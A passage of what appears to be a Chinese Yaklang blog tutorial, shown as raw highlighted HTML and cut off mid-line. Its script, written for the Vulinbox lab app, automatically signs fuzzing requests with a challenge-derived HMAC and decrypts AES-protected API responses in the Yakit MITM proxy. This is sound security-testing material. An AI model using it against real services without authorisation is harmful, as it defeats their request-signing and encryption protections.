style="color:#393A34">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:#393A34">.</span><span class="token property-access maybe-class-name">Response</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    flow</span><span class="token punctuation" style="color:#393A34">.</span><span class="token property-access maybe-class-name">Response</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">StrconvQuote</span><span class="token punctuation" style="color:#393A34">(</span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token function" style="color:#d73a49">decryptProtectedResponse</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">modify</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>这段设计有一个实际好处：浏览器继续按原来的协议和前端 JS 正常工作，但 MITM 数据库里保存下来的已经是可读的明文内容，它的工作流程如下：</p>
<ul>
<li class="">只要请求命中了 /api/user/info</li>
<li class="">就把 flow.Response 取出来解密</li>
<li class="">然后把解密后的内容重新写回 flow.Response</li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="完整可用脚本">完整可用脚本<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E5%AE%8C%E6%95%B4%E5%8F%AF%E7%94%A8%E8%84%9A%E6%9C%AC" class="hash-link" aria-label="完整可用脚本的直接链接" title="完整可用脚本的直接链接" translate="no">​</a></h2>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// Vulinbox 动态挑战响应 API 全局热加载示例</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 适用场景：</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 1. Web Fuzzer 直接发明文请求，由全局热加载自动补签名</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 2. Web Fuzzer 在请求头中带上 X-Yak-Force-Plaintext: 1 时，自动解密响应</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 3. MITM 不改动在线流量，但会把保存到数据库的响应改写成明文，便于观察</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token constant" style="color:#36acaa">API_AES_KEY</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"YakitVulinboxAES"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token constant" style="color:#36acaa">API_SIGN_KEY</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"YakitVulinboxHMACKey-SIGNATURE"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token constant" style="color:#36acaa">TARGET_PATH</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"/api/user/info"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token constant" style="color:#36acaa">CHALLENGE_PATH</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"/api/get-challenge"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token constant" style="color:#36acaa">PLAINTEXT_HEADER</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"X-Yak-Force-Plaintext"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">isTargetRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">isHttps</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> packet</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    u</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> str</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">ExtractURLFromHTTPRequestRaw</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">packet</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> isHttps</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> nil </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">false</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> str</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">Contains</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">u</span><span class="token punctuation" style="color:#393A34">.</span><span class="token known-class-name class-name">String</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token constant" style="color:#36acaa">TARGET_PATH</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">shouldRewriteResponse </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">packet</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">GetHTTPPacketHeader</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">packet</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token constant" style="color:#36acaa">PLAINTEXT_HEADER</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"1"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">fetchChallengeSignature </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">isHttps</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> packet</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    host </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">GetHTTPPacketHeader</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">packet</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Host"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">if</span><span class="token plain"> host </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">""</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">panic</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"global hotpatch: request host is empty"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    challengeReq </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"GET "</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token constant" style="color:#36acaa">CHALLENGE_PATH</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">" HTTP/1.1\r\n"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token string" style="color:#e3116c">"Host: "</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> host </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"\r\n"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token string" style="color:#e3116c">"User-Agent: yak-global-hotpatch-demo\r\n"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token string" style="color:#e3116c">"Connection: close\r\n\r\n"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    challengeRsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> _ </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token constant" style="color:#36acaa">HTTP</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        challengeReq</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access" style="color:#d73a49">https</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access" style="color:#d73a49">timeout</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access" style="color:#d73a49">save</span><span class="token punctuation" style="color:#393A34">(</span><span class="token boolean" style="color:#36acaa">false</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">GetHTTPPacketBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">challengeRsp</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> json</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access" style="color:#d73a49">loads</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">body</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"challenge"</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> params</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"iv"</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> params</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">panic</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"global hotpatch: challenge response missing challenge/iv"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    challengeBytes </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">DecodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#393A34">.</span><span class="token property-access">challenge</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ivBytes </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">DecodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#393A34">.</span><span class="token property-access">iv</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    nonce </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">AESCBCDecrypt</span><span class="token punctuation" style="color:#393A34">(</span><span class="token constant" style="color:#36acaa">API_AES_KEY</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> challengeBytes</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> ivBytes</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">EncodeToHex</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">HmacSha256</span><span class="token punctuation" style="color:#393A34">(</span><span class="token constant" style="color:#36acaa">API_SIGN_KEY</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> nonce</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">decryptProtectedResponse </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">packet</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">GetHTTPPacketBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">packet</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token plain">str</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">Contains</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">body</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#e3116c">`</span><span class="token template-string string" style="color:#e3116c">"data"</span><span class="token template-string template-punctuation string" style="color:#e3116c">`</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token plain">str</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">Contains</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">body</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#e3116c">`</span><span class="token template-string string" style="color:#e3116c">"iv"</span><span class="token template-string template-punctuation string" style="color:#e3116c">`</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> packet</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> json</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access" style="color:#d73a49">loads</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">body</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"data"</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> params</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"iv"</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> params</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> packet</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    dataBytes </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">DecodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#393A34">.</span><span class="token property-access">data</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ivBytes </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">DecodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#393A34">.</span><span class="token property-access">iv</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    plain </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">AESCBCDecrypt</span><span class="token punctuation" style="color:#393A34">(</span><span class="token constant" style="color:#36acaa">API_AES_KEY</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> dataBytes</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> ivBytes</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">ReplaceHTTPPacketBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">packet</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> plain</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">beforeRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">isHttps</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> originReq</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">isTargetRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">isHttps</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    signature </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">fetchChallengeSignature</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    req </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">ReplaceHTTPPacketHeader</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"X-Auth-Signature"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> signature</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">afterRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">isHttps</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> originReq</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> req</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> originRsp</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> rsp</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">isTargetRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">isHttps</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> rsp</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">shouldRewriteResponse</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> rsp</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">decryptProtectedResponse</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">hijackSaveHTTPFlow </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">flow</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> modify</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> drop</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    req </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">StrconvUnquote</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:#393A34">.</span><span class="token property-access maybe-class-name">Request</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" 